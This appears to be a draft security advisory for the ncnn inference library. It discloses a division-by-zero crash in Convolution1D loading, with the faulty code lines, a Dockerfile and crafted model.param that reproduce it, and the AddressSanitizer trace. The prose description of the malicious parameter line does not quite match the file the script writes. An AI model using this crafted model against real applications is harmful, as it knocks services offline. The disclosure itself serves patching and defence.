All advisories
Draft

Malformed Model Causes Division-By-Zero DoS

Tencent/ncnn

Affected packages

ncnn other
Affected versions= 5e66f094bf7c597b4569cc014a8be84104748678
Patched versionsNot specified

Description

Malformed Model Causes Division-By-Zero DoS

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/x86/convolution1d_x86.cpp:47 in Convolution1D_x86::create_pipeline
Sanitizer verdict: FPE on unknown address 0x620cc65162ac (pc 0x620cc65162ac bp 0x7ffc1b215510 sp 0x7ffc1b2154e0 T0)

Summary

A model that declares a Convolution1D layer with kernel_w = 0 kills the loading process with SIGFPE. Convolution1D::load_param accepts zero as the kernel width without validation, and Convolution1D_x86::create_pipeline recovers the input-channel count by dividing the weight count by it. The crash happens inside ncnn::Net::load_model, before any input data is processed; the PoC drives it through ncnnoptimize, but any application loading an untrusted model is affected. The ARM backend computes the same quotient in the same unguarded way.

Detail

The untrusted field is the Convolution1D parameter 1 (kernel_w), read by load_param with a default of 0 and never range-checked. Parameter 6 (weight_data_size) and parameter 0 (num_output) are equally unchecked, but only kernel_w needs to be zero to reach the fault. Convolution1D::load_model calls mb.load(weight_data_size, 0) and rejects only an empty result, so a one-element weight record is enough to get past loading.

Net::load_model then calls create_pipeline on every layer. The x86 implementation reconstructs num_input from the declared sizes, and the divisor is the attacker's kernel_w. Nothing between the parameter parser and this line constrains it, so an integer division by zero executes directly.

// src/layer/convolution1d.cpp:18
    num_output = pd.get(0, 0);
    kernel_w = pd.get(1, 0);

// src/layer/x86/convolution1d_x86.cpp:47
    int num_input = weight_data_size / kernel_w / num_output;

    convolution1d_transform_kernel_packed(weight_data, weight_data_tm, num_input, num_output, kernel_w);

// src/layer/arm/convolution1d_arm.cpp:56
    const int num_input = weight_data_size / kernel_w / num_output;

The PoC writes Convolution1D conv 1 1 data out 0=1 1=0 2=1 3=1 5=0 6=1, giving num_output == 1, kernel_w == 0, no bias and weight_data_size == 1, paired with a model.bin containing the zero tag followed by a single float. load_model succeeds because the one-element weight blob is non-empty. Execution reaches convolution1d_x86.cpp:47, where weight_data_size / kernel_w is 1 / 0; on x86-64 the idiv raises #DE and the process is terminated by SIGFPE. src/layer/arm/convolution1d_arm.cpp:56 and the corresponding bf16 paths (convolution1d_x86.cpp:199, convolution1d_arm.cpp:228) contain the identical expression.

Reproduce

Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-malformed-model-causes-division-by-zero-dos && cd ncnn-poc-malformed-model-causes-division-by-zero-dos

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > model.param <<'PARAM'
7767517
1 2
Convolution1D conv 1 1 data out 0=1 6=1
PARAM

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize model.param null out.param out.bin 0

AddressSanitizer output:

find_blob_index_by_name data failed
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1==ERROR: AddressSanitizer: FPE on unknown address 0x5808063e92ac (pc 0x5808063e92ac bp 0x7ffe134addb0 sp 0x7ffe134add80 T0)
    #0 0x5808063e92ac in ncnn::Convolution1D_x86_avx512::create_pipeline(ncnn::Option const&) /ncnn/build/src/layer/x86/convolution1d_x86_avx512.cpp:47
    #1 0x5807fdc59c96 in ncnn::Net::load_model(ncnn::DataReader const&) /ncnn/src/net.cpp:2094
    #2 0x5807fdb6dc34 in main /ncnn/tools/ncnnoptimize.cpp:2793
    #3 0x78ac9ba2d1c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x78ac9ba2d28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x5807fdaed624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /ncnn/build/src/layer/x86/convolution1d_x86_avx512.cpp:47 in ncnn::Convolution1D_x86_avx512::create_pipeline(ncnn::Option const&)
==1==ABORTING

Credit

Zheng Yu @ DepthFirst